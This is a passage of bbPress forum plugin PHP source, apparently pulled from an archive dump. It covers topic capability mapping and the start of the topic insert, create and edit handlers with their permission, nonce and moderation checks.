 * Used to map topic capabilities to WordPress's existing capabilities.
 *
 * @package bbPress
 * @subpackage Capabilities
 */

/**
 * Return topic capabilities
 *
 * @since 2.0.0 bbPress (r2593)
 *
 * @return array Topic capabilities
 */
function bbp_get_topic_caps() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_caps', array(
		'edit_posts'          => 'edit_topics',
		'edit_others_posts'   => 'edit_others_topics',
		'publish_posts'       => 'publish_topics',
		'read_private_posts'  => 'read_private_topics',
		'read_hidden_posts'   => 'read_hidden_topics',
		'delete_posts'        => 'delete_topics',
		'delete_others_posts' => 'delete_others_topics'
	) );
}

/**
 * Return topic tag capabilities
 *
 * @since 2.0.0 bbPress (r2593)
 *
 *
 * @return array Topic tag capabilities
 */
function bbp_get_topic_tag_caps() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_tag_caps', array(
		'manage_terms' => 'manage_topic_tags',
		'edit_terms'   => 'edit_topic_tags',
		'delete_terms' => 'delete_topic_tags',
		'assign_terms' => 'assign_topic_tags'
	) );
}

/**
 * Maps topic capabilities
 *
 * @since 2.2.0 bbPress (r4242)
 *
 * @param array  $caps    Capabilities for meta capability.
 * @param string $cap     Capability name.
 * @param int    $user_id User id.
 * @param array  $args    Arguments.
 *
 * @return array Actual capabilities for meta capability
 */
function bbp_map_topic_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

	// What capability is being checked?
	switch ( $cap ) {

		/** Reading ***********************************************************/

		case 'read_topic' :

			// User cannot spectate
			if ( ! user_can( $user_id, 'spectate' ) ) {
				$caps = array( 'do_not_allow' );

			// Do some post ID based logic
			} else {

				// Bail if no post ID
				if ( empty( $args[0] ) ) {
					break;
				}

				// Get the post.
				$_post = get_post( $args[0] );
				if ( ! empty( $_post ) ) {

					// Get caps for post type object
					$post_type = get_post_type_object( $_post->post_type );

					// Post is public
					if ( bbp_get_public_status_id() === $_post->post_status ) {
						$caps = array( 'spectate' );

					// User is author so allow read
					} elseif ( (int) $user_id === (int) $_post->post_author ) {
						$caps = array( 'spectate' );

					// Moderators can always edit forum content
					} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
						$caps = array( 'spectate' );

					// Unknown so map to private posts
					} else {
						$caps = array( $post_type->cap->read_private_posts );
					}
				}
			}

			break;

		/** Publishing ********************************************************/

		case 'publish_topics'  :

			// Moderators can always publish
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		/** Editing ***********************************************************/

		// Used primarily in wp-admin
		case 'edit_topics'        :
		case 'edit_others_topics' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( $cap );

			// Otherwise, check forum
			} else {
				$forum_id = bbp_get_forum_id();

				// Moderators can always edit forum content
				if ( user_can( $user_id, 'moderate', $forum_id ) ) {
					$caps = array( 'spectate' );

				// Fallback to do_not_allow
				} else {
					$caps = array( 'do_not_allow' );
				}
			}

			break;

		// Used everywhere
		case 'edit_topic' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post.
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get caps for post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always edit forum content
				} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
					$caps = array( 'spectate' );

				// User is author so allow edit if not in admin, unless it's past edit lock time
				} elseif ( ! is_admin() && ( (int) $user_id === (int) $_post->post_author ) ) {

					// If editing...
					if ( bbp_is_topic_edit() ) {

						// Only allow if not past the edit-lock period
						$caps = ! bbp_past_edit_lock( $_post->post_date_gmt )
							? array( $post_type->cap->edit_posts )
							: array( 'do_not_allow' );

					// Otherwise...
					} else {
						$caps = array( $post_type->cap->edit_posts );
					}

				// Unknown, so map to edit_others_posts
				} else {
					$caps = array( $post_type->cap->edit_others_posts );
				}
			}

			break;

		/** Deleting **********************************************************/

		case 'delete_topic' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post.
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get caps for post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always edit forum content
				} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
					$caps = array( 'spectate' );

				// User is author so allow delete if not in admin
				} elseif ( ! is_admin() && ( (int) $user_id === (int) $_post->post_author ) ) {
					$caps = array( $post_type->cap->delete_posts );

				// Unknown so map to delete_others_posts
				} else {
					$caps = array( $post_type->cap->delete_others_posts );
				}
			}

			break;

		// Moderation override
		case 'delete_topics'         :
		case 'delete_others_topics'  :

			// Moderators can always delete
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( $cap );
			}

			break;

		/** Admin *************************************************************/

		case 'bbp_topics_admin' :
			$caps = array( 'edit_topics' );
			break;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_map_topic_meta_caps', $caps, $cap, $user_id, $args );
}

/**
 * Maps topic tag capabilities
 *
 * @since 2.2.0 bbPress (r4242)
 *
 * @param array $caps Capabilities for meta capability
 * @param string $cap Capability name
 * @param int $user_id User id
 * @param array $args Arguments
 *
 * @return array Actual capabilities for meta capability
 */
function bbp_map_topic_tag_meta_caps( $caps, $cap, $user_id, $args ) {

	// What capability is being checked?
	switch ( $cap ) {

		/** Assignment ********************************************************/

		case 'assign_topic_tags' :

			// Get post
			$post_id = ! empty( $args[0] )
				? get_post( $args[0] )->ID
				: 0;

			// Add 'do_not_allow' cap if user is spam or deleted
			if ( bbp_is_user_inactive( $user_id ) ) {
				$caps = array( 'do_not_allow' );

			// Moderators can always assign
			} elseif ( user_can( $user_id, 'moderate', $post_id ) ) {
				$caps = array( 'moderate' );

			// Do not allow if topic tags are disabled
			} elseif ( ! bbp_allow_topic_tags() ) {
				$caps = array( 'do_not_allow' );
			}

			break;

		/** Management ********************************************************/

		case 'manage_topic_tags' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		/** Editing ***********************************************************/

		case 'edit_topic_tags' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		case 'edit_topic_tag' :

			// Get the term
			$_tag = get_term( $args[0], bbp_get_topic_tag_tax_id() );
			if ( ! empty( $_tag ) ) {

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always edit topic tags
				} elseif ( user_can( $user_id, 'moderate', $_tag->term_id ) ) {
					$caps = array( 'spectate' );

				// Fallback to edit_terms.
				} else {
					$taxonomy = get_taxonomy( bbp_get_topic_tag_tax_id() );
					$caps     = array( $taxonomy->cap->edit_terms );
				}
			}

			break;

		/** Deleting **********************************************************/

		case 'delete_topic_tags' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		case 'delete_topic_tag' :

			// Get the term
			$_tag = get_term( $args[0], bbp_get_topic_tag_tax_id() );
			if ( ! empty( $_tag ) ) {

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always delete topic tags
				} elseif ( user_can( $user_id, 'moderate', $_tag->term_id ) ) {
					$caps = array( 'spectate' );

				// Fallback to delete_terms.
				} else {
					$taxonomy = get_taxonomy( $_tag->post_type );
					$caps     = array( $taxonomy->cap->delete_terms );
				}
			}

			break;

		/** Admin *************************************************************/

		case 'bbp_topic_tags_admin' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_map_topic_tag_meta_caps', $caps, $cap, $user_id, $args );
}
includes/topics/functions.php000066600000343571151771460310012422 0ustar00<?php

/**
 * bbPress Topic Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Insert ********************************************************************/

/**
 * A wrapper for wp_insert_post() that also includes the necessary meta values
 * for the topic to function properly.
 *
 * @since 2.0.0 bbPress (r3349)
 *
 * @param array $topic_data Forum post data
 * @param arrap $topic_meta Forum meta data
 */
function bbp_insert_topic( $topic_data = array(), $topic_meta = array() ) {

	// Parse arguments against default values
	$topic_data = bbp_parse_args( $topic_data, array(
		'post_parent'    => 0, // forum ID
		'post_status'    => bbp_get_public_status_id(),
		'post_type'      => bbp_get_topic_post_type(),
		'post_author'    => bbp_get_current_user_id(),
		'post_password'  => '',
		'post_content'   => '',
		'post_title'     => '',
		'comment_status' => 'closed',
		'menu_order'     => 0
	), 'insert_topic' );

	// Insert topic
	$topic_id = wp_insert_post( $topic_data, false );

	// Bail if no topic was added
	if ( empty( $topic_id ) ) {
		return false;
	}

	// Parse arguments against default values
	$topic_meta = bbp_parse_args( $topic_meta, array(
		'author_ip'          => bbp_current_author_ip(),
		'forum_id'           => 0,
		'topic_id'           => $topic_id,
		'voice_count'        => 1,
		'reply_count'        => 0,
		'reply_count_hidden' => 0,
		'last_reply_id'      => 0,
		'last_active_id'     => $topic_id,
		'last_active_time'   => get_post_field( 'post_date', $topic_id, 'db' )
	), 'insert_topic_meta' );

	// Insert topic meta
	foreach ( $topic_meta as $meta_key => $meta_value ) {

		// Prefix if not prefixed
		if ( '_bbp_' !== substr( $meta_key, 0, 5 ) ) {
			$meta_key = '_bbp_' . $meta_key;
		}

		// Update the meta
		update_post_meta( $topic_id, $meta_key, $meta_value );
	}

	// Update the topic and hierarchy
	bbp_update_topic( $topic_id, $topic_meta['forum_id'], array(), $topic_data['post_author'], false );

	/**
	 * Fires after topic has been inserted via `bbp_insert_topic`.
	 *
	 * @since 2.6.0 bbPress (r6036)
	 *
	 * @param int $topic_id               The topic id.
	 * @param int $topic_meta['forum_id'] The topic forum meta.
	 */
	do_action( 'bbp_insert_topic', (int) $topic_id, (int) $topic_meta['forum_id'] );

	// Return topic_id
	return $topic_id;
}

/** Post Form Handlers ********************************************************/

/**
 * Handles the front end topic submission
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_new_topic_handler( $action = '' ) {

	// Bail if action is not bbp-new-topic
	if ( 'bbp-new-topic' !== $action ) {
		return;
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-new-topic' ) ) {
		bbp_add_error( 'bbp_new_topic_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Define local variable(s)
	$view_all = false;
	$forum_id = $topic_author = 0;
	$topic_title = $topic_content = '';
	$anonymous_data = array();
	$terms = array( bbp_get_topic_tag_tax_id() => array() );

	/** Topic Author **********************************************************/

	// User is anonymous
	if ( bbp_is_anonymous() ) {

		// Filter anonymous data (variable is used later)
		$anonymous_data = bbp_filter_anonymous_post_data();

		// Anonymous data checks out, so set cookies, etc...
		bbp_set_current_anonymous_user_data( $anonymous_data );

	// User is logged in
	} else {

		// User cannot create topics
		if ( ! current_user_can( 'publish_topics' ) ) {
			bbp_add_error( 'bbp_topic_permission', __( '<strong>Error</strong>: You do not have permission to create new topics.', 'bbpress' ) );
			return;
		}

		// Topic author is current user
		$topic_author = bbp_get_current_user_id();
	}

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_topic'] ) && wp_create_nonce( 'bbp-unfiltered-html-topic_new' ) === $_POST['_bbp_unfiltered_html_topic'] ) {
		remove_filter( 'bbp_new_topic_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_new_topic_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_new_topic_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Topic Title ***********************************************************/

	if ( ! empty( $_POST['bbp_topic_title'] ) ) {
		$topic_title = sanitize_text_field( $_POST['bbp_topic_title'] );
	}

	// Filter and sanitize
	$topic_title = apply_filters( 'bbp_new_topic_pre_title', $topic_title );

	// No topic title
	if ( empty( $topic_title ) ) {
		bbp_add_error( 'bbp_topic_title', __( '<strong>Error</strong>: Your topic needs a title.', 'bbpress' ) );
	}

	// Title too long
	if ( bbp_is_title_too_long( $topic_title ) ) {
		bbp_add_error( 'bbp_topic_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Topic Content *********************************************************/

	if ( ! empty( $_POST['bbp_topic_content'] ) ) {
		$topic_content = $_POST['bbp_topic_content'];
	}

	// Filter and sanitize
	$topic_content = apply_filters( 'bbp_new_topic_pre_content', $topic_content );

	// No topic content
	if ( empty( $topic_content ) ) {
		bbp_add_error( 'bbp_topic_content', __( '<strong>Error</strong>: Your topic cannot be empty.', 'bbpress' ) );
	}

	/** Topic Forum ***********************************************************/

	// Error check the POST'ed topic id
	if ( isset( $_POST['bbp_forum_id'] ) ) {

		// Empty Forum id was passed
		if ( empty( $_POST['bbp_forum_id'] ) ) {
			bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID is missing.', 'bbpress' ) );

		// Forum id is not a number
		} elseif ( ! is_numeric( $_POST['bbp_forum_id'] ) ) {
			bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID must be a number.', 'bbpress' ) );

		// Forum id might be valid
		} else {

			// Get the forum id
			$posted_forum_id = intval( $_POST['bbp_forum_id'] );

			// Forum id is empty
			if ( 0 === $posted_forum_id ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID is missing.', 'bbpress' ) );

			// Forum id is a negative number
			} elseif ( 0 > $posted_forum_id ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID cannot be a negative number.', 'bbpress' ) );

			// Forum does not exist
			} elseif ( ! bbp_get_forum( $posted_forum_id ) ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum does not exist.', 'bbpress' ) );

			// Use the POST'ed forum id
			} else {
				$forum_id = $posted_forum_id;
			}
		}
	}

	// Forum exists
	if ( ! empty( $forum_id ) ) {

		// Forum is a category
		if ( bbp_is_forum_category( $forum_id ) ) {
			bbp_add_error( 'bbp_new_topic_forum_category', __( '<strong>Error</strong>: This forum is a category. No topics can be created in this forum.', 'bbpress' ) );

		// Forum is not a category
		} else {

			// Forum is closed and user cannot access
			if ( bbp_is_forum_closed( $forum_id ) && ! current_user_can( 'edit_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_topic_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new topics.', 'bbpress' ) );
			}

			// Forum is private and user cannot access
			if ( bbp_is_forum_private( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_topic_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new topics in it.', 'bbpress' ) );

			// Forum is hidden and user cannot access
			} elseif ( bbp_is_forum_hidden( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_topic_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new topics in it.', 'bbpress' ) );
			}
		}
	}

	/** Topic Flooding ********************************************************/

	if ( ! bbp_check_for_flood( $anonymous_data, $topic_author ) ) {
		bbp_add_error( 'bbp_topic_flood', __( '<strong>Error</strong>: Slow down; you move too fast.', 'bbpress' ) );
	}

	/** Topic Duplicate *******************************************************/

	if ( ! bbp_check_for_duplicate( array( 'post_type' => bbp_get_topic_post_type(), 'post_author' => $topic_author, 'post_content' => $topic_content, 'anonymous_data' => $anonymous_data ) ) ) {
		bbp_add_error( 'bbp_topic_duplicate', __( '<strong>Error</strong>: Duplicate topic detected; it looks as though you&#8217;ve already said that.', 'bbpress' ) );
	}

	/** Topic Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, $topic_author, $topic_title, $topic_content, true ) ) {
		bbp_add_error( 'bbp_topic_moderation', __( '<strong>Error</strong>: Your topic cannot be created at this time.', 'bbpress' ) );
	}

	/** Topic Status **********************************************************/

	// Get available topic statuses
	$topic_statuses = bbp_get_topic_statuses();

	// Maybe put into moderation
	if ( ! bbp_check_for_moderation( $anonymous_data, $topic_author, $topic_title, $topic_content ) ) {
		$topic_status = bbp_get_pending_status_id();

	// Check possible topic status ID's
	} elseif ( ! empty( $_POST['bbp_topic_status'] ) && in_array( $_POST['bbp_topic_status'], array_keys( $topic_statuses ), true ) ) {
		$topic_status = sanitize_key( $_POST['bbp_topic_status'] );

	// Default to published if nothing else
	} else {
		$topic_status = bbp_get_public_status_id();
	}

	/** Topic Tags ************************************************************/

	if ( bbp_allow_topic_tags() && ! empty( $_POST['bbp_topic_tags'] ) ) {

		// Escape tag input
		$terms = sanitize_text_field( $_POST['bbp_topic_tags'] );

		// Explode by comma
		if ( strstr( $terms, ',' ) ) {
			$terms = explode( ',', $terms );
		}

		// Add topic tag ID as main key
		$terms = array( bbp_get_topic_tag_tax_id() => $terms );
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_new_topic_pre_extras', $forum_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $topic_data as an array.
	// Just in time manipulation of topic data before being created
	$topic_data = apply_filters( 'bbp_new_topic_pre_insert', array(
		'post_author'    => $topic_author,
		'post_title'     => $topic_title,
		'post_content'   => $topic_content,
		'post_status'    => $topic_status,
		'post_parent'    => $forum_id,
		'post_type'      => bbp_get_topic_post_type(),
		'tax_input'      => $terms,
		'comment_status' => 'closed'
	) );

	// Insert topic
	$topic_id = wp_insert_post( $topic_data, true );

	/** No Errors *************************************************************/

	if ( ! empty( $topic_id ) && ! is_wp_error( $topic_id ) ) {

		/** Close Check *******************************************************/

		// If the topic is closed, close it properly
		if ( ( get_post_field( 'post_status', $topic_id ) === bbp_get_closed_status_id() ) || ( $topic_data['post_status'] === bbp_get_closed_status_id() ) ) {

			// Close the topic
			bbp_close_topic( $topic_id );
		}

		/** Trash Check *******************************************************/

		// If the forum is trash, or the topic_status is switched to
		// trash, trash the topic properly
		if ( ( get_post_field( 'post_status', $forum_id ) === bbp_get_trash_status_id() ) || ( $topic_data['post_status'] === bbp_get_trash_status_id() ) ) {

			// Trash the topic
			wp_trash_post( $topic_id );

			// Force view=all
			$view_all = true;
		}

		/** Spam Check ********************************************************/

		// If the topic is spam, officially spam this topic
		if ( $topic_data['post_status'] === bbp_get_spam_status_id() ) {
			add_post_meta( $topic_id, '_bbp_spam_meta_status', bbp_get_public_status_id() );

			// Force view=all
			$view_all = true;
		}

		/** Update counts, etc... *********************************************/

		do_action( 'bbp_new_topic', $topic_id, $forum_id, $anonymous_data, $topic_author );

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_new_topic_post_extras', $topic_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to = bbp_get_redirect_to();

		// Get the topic URL
		$redirect_url = bbp_get_topic_permalink( $topic_id, $redirect_to );

		// Add view all?
		if ( bbp_get_view_all() || ! empty( $view_all ) ) {

			// User can moderate, so redirect to topic with view all set
			if ( current_user_can( 'moderate', $topic_id ) ) {
				$redirect_url = bbp_add_view_all( $redirect_url );

			// User cannot moderate, so redirect to forum
			} else {
				$redirect_url = bbp_get_forum_permalink( $forum_id );
			}
		}

		// Allow to be filtered
		$redirect_url = apply_filters( 'bbp_new_topic_redirect_to', $redirect_url, $redirect_to, $topic_id );

		/** Successful Save ***************************************************/

		// Redirect back to new topic
		bbp_redirect( $redirect_url );

	/** Errors ****************************************************************/

	// WP_Error
	} elseif ( is_wp_error( $topic_id ) ) {
		bbp_add_error( 'bbp_topic_error', sprintf( __( '<strong>Error</strong>: The following problem(s) occurred: %s', 'bbpress' ), $topic_id->get_error_message() ) );

	// Generic error
	} else {
		bbp_add_error( 'bbp_topic_error', __( '<strong>Error</strong>: The topic was not created.', 'bbpress' ) );
	}
}

/**
 * Handles the front end edit topic submission
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_edit_topic_handler( $action = '' ) {

	// Bail if action is not bbp-edit-topic
	if ( 'bbp-edit-topic' !== $action ) {
		return;
	}

	// Define local variable(s)
	$revisions_removed = false;
	$topic = $topic_id = $topic_author = $forum_id = 0;
	$topic_title = $topic_content = $topic_edit_reason = '';
	$anonymous_data = array();

	/** Topic *****************************************************************/

	// Topic id was not passed
	if ( empty( $_POST['bbp_topic_id'] ) ) {
		bbp_add_error( 'bbp_edit_topic_id', __( '<strong>Error</strong>: Topic ID not found.', 'bbpress' ) );
		return;

	// Topic id was passed
	} elseif ( is_numeric( $_POST['bbp_topic_id'] ) ) {
		$topic_id = (int) $_POST['bbp_topic_id'];
		$topic    = bbp_get_topic( $topic_id );
	}

	// Topic does not exist
	if ( empty( $topic ) ) {
		bbp_add_error( 'bbp_edit_topic_not_found', __( '<strong>Error</strong>: The topic you want to edit was not found.', 'bbpress' ) );
		return;

	// Topic exists
	} else {

		// Check users ability to create new topic
		if ( ! bbp_is_topic_anonymous( $topic_id ) ) {

			// User cannot edit this topic
			if ( ! current_user_can( 'edit_topic', $topic_id ) ) {
				bbp_add_error( 'bbp_edit_topic_permission', __( '<strong>Error</strong>: You do not have permission to edit that topic.', 'bbpress' ) );
			}

			// Set topic author
			$topic_author = bbp_get_topic_author_id( $topic_id );

		// It is an anonymous post
		} else {

			// Filter anonymous data
			$anonymous_data = bbp_filter_anonymous_post_data();
		}
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-edit-topic_' . $topic_id ) ) {
		bbp_add_error( 'bbp_edit_topic_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_topic'] ) && ( wp_create_nonce( 'bbp-unfiltered-html-topic_' . $topic_id ) === $_POST['_bbp_unfiltered_html_topic'] ) ) {
		remove_filter( 'bbp_edit_topic_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_edit_topic_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_edit_topic_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Topic Forum ***********************************************************/

	// Forum id was not passed
	if ( empty( $_POST['bbp_forum_id'] ) ) {
		bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID is missing.', 'bbpress' ) );

	// Forum id was passed
	} elseif ( is_numeric( $_POST['bbp_forum_id'] ) ) {
		$forum_id = (int) $_POST['bbp_forum_id'];
	}

	// Current forum this topic is in
	$current_forum_id = bbp_get_topic_forum_id( $topic_id );

	// Forum exists
	if ( ! empty( $forum_id ) && ( $forum_id !== $current_forum_id ) ) {

		// Forum is a category
		if ( bbp_is_forum_category( $forum_id ) ) {
			bbp_add_error( 'bbp_edit_topic_forum_category', __( '<strong>Error</strong>: This forum is a category. No topics can be created in it.', 'bbpress' ) );

		// Forum is not a category
		} else {

			// Forum is closed and user cannot access
			if ( bbp_is_forum_closed( $forum_id ) && ! current_user_can( 'edit_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_topic_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new topics.', 'bbpress' ) );
			}

			// Forum is private and user cannot access
			if ( bbp_is_forum_private( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_topic_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new topics in it.', 'bbpress' ) );

			// Forum is hidden and user cannot access
			} elseif ( bbp_is_forum_hidden( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_topic_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new topics in it.', 'bbpress' ) );
			}
		}
	}

	/** Topic Title ***********************************************************/

	if ( ! empty( $_POST['bbp_topic_title'] ) ) {
		$topic_title = sanitize_text_field( $_POST['bbp_topic_title'] );
	}

	// Filter and sanitize
	$topic_title = apply_filters( 'bbp_edit_topic_pre_title', $topic_title, $topic_id );

	// No topic title
	if ( empty( $topic_title ) ) {
		bbp_add_error( 'bbp_edit_topic_title', __( '<strong>Error</strong>: Your topic needs a title.', 'bbpress' ) );
	}

	// Title too long
	if ( bbp_is_title_too_long( $topic_title ) ) {
		bbp_add_error( 'bbp_topic_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Topic Content *********************************************************/

	if ( ! empty( $_POST['bbp_topic_content'] ) ) {
		$topic_content = $_POST['bbp_topic_content'];
	}

	// Filter and sanitize
	$topic_content = apply_filters( 'bbp_edit_topic_pre_content', $topic_content, $topic_id );

	// No topic content
	if ( empty( $topic_content ) ) {
		bbp_add_error( 'bbp_edit_topic_content', __( '<strong>Error</strong>: Your topic cannot be empty.', 'bbpress' ) );
	}

	/** Topic Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, $topic_author, $topic_title, $topic_content, true ) ) {
		bbp_add_error( 'bbp_topic_moderation', __( '<strong>Error</strong>: Your topic cannot be edited at this time.', 'bbpress' ) );
	}

	/** Topic Status **********************************************************/

	// Get available topic statuses
	$topic_statuses = bbp_get_topic_statuses( $topic_id );

	// Maybe put into moderation
	if ( ! bbp_check_for_moderation( $anonymous_data, $topic_author, $topic_title, $topic_content ) ) {

		// Set post status to pending if public or closed
		if ( bbp_is_topic_public( $topic->ID ) ) {
			$topic_status = bbp_get_pending_status_id();
		}

	// Check possible topic status ID's
	} elseif ( ! empty( $_POST['bbp_topic_status'] ) && in_array( $_POST['bbp_topic_status'], array_keys( $topic_statuses ), true ) ) {
		$topic_status = sanitize_key( $_POST['bbp_topic_status'] );

	// Use existing post_status
	} else {
		$topic_status = $topic->post_status;
	}

	/** Topic Tags ************************************************************/

	// Either replace terms
	if ( bbp_allow_topic_tags() && current_user_can( 'assign_topic_tags', $topic_id ) && ! empty( $_POST['bbp_topic_tags'] ) ) {

		// Escape tag input
		$terms = sanitize_text_field( $_POST['bbp_topic_tags'] );

		// Explode by comma
		if ( strstr( $terms, ',' ) ) {
			$terms = explode( ',', $terms );
		}

		// Add topic tag ID as main key
		$terms = array( bbp_get_topic_tag_tax_id() => $terms );

	// ...or remove them.
	} elseif ( isset( $_POST['bbp_topic_tags'] ) ) {
		$terms = array( bbp_get_topic_tag_tax_id() => array() );

	// Existing terms
	} else {
		$terms = array( bbp_get_topic_tag_tax_id() => explode( ',', bbp_get_topic_tag_names( $topic_id, ',' ) ) );
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_edit_topic_pre_extras', $topic_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $topic_data as an array
	// Just in time manipulation of topic data before being edited
	$topic_data = apply_filters( 'bbp_edit_topic_pre_insert', array(
		'ID'           => $topic_id,
		'post_title'   => $topic_title,
		'post_content' => $topic_content,
		'post_status'  => $topic_status,
		'post_parent'  => $forum_id,
		'post_author'  => $topic_author,
		'post_type'    => bbp_get_topic_post_type(),
		'tax_input'    => $terms,
	) );

	// Toggle revisions to avoid duplicates
	if ( post_type_supports( bbp_get_topic_post_type(), 'revisions' ) ) {
		$revisions_removed = true;
		remove_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	// Insert topic
	$topic_id = wp_update_post( $topic_data );

	// Toggle revisions back on
	if ( true === $revisions_removed ) {
		$revisions_removed = false;
		add_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	/** No Errors *************************************************************/

	if ( ! empty( $topic_id ) && ! is_wp_error( $topic_id ) ) {

		// Update counts, etc...
		do_action( 'bbp_edit_topic', $topic_id, $forum_id, $anonymous_data, $topic_author , true /* Is edit */ );

		/** Revisions *********************************************************/

		// Update locks
		update_post_meta( $topic_id, '_edit_last', bbp_get_current_user_id() );
		delete_post_meta( $topic_id, '_edit_lock' );

		// Revision Reason
		if ( ! empty( $_POST['bbp_topic_edit_reason'] ) ) {
			$topic_edit_reason = sanitize_text_field( $_POST['bbp_topic_edit_reason'] );
		}

		// Update revision log
		if ( ! empty( $_POST['bbp_log_topic_edit'] ) && ( "1" === $_POST['bbp_log_topic_edit'] ) )  {
			$revision_id = wp_save_post_revision( $topic_id );
			if ( ! empty( $revision_id ) ) {
				bbp_update_topic_revision_log( array(
					'topic_id'    => $topic_id,
					'revision_id' => $revision_id,
					'author_id'   => bbp_get_current_user_id(),
					'reason'      => $topic_edit_reason
				) );
			}
		}

		/** Move Topic ********************************************************/

		// If the new forum id is not equal to the old forum id, run the
		// bbp_move_topic action and pass the topic's forum id as the
		// first arg and topic id as the second to update counts.
		if ( $forum_id !== $topic->post_parent ) {
			bbp_move_topic_handler( $topic_id, $topic->post_parent, $forum_id );
		}

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_edit_topic_post_extras', $topic_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to = bbp_get_redirect_to();

		// View all?
		$view_all = bbp_get_view_all( 'edit_others_replies' );

		// Get the topic URL
		$topic_url = bbp_get_topic_permalink( $topic_id, $redirect_to );

		// Add view all?
		if ( ! empty( $view_all ) ) {
			$topic_url = bbp_add_view_all( $topic_url );
		}

		// Allow to be filtered
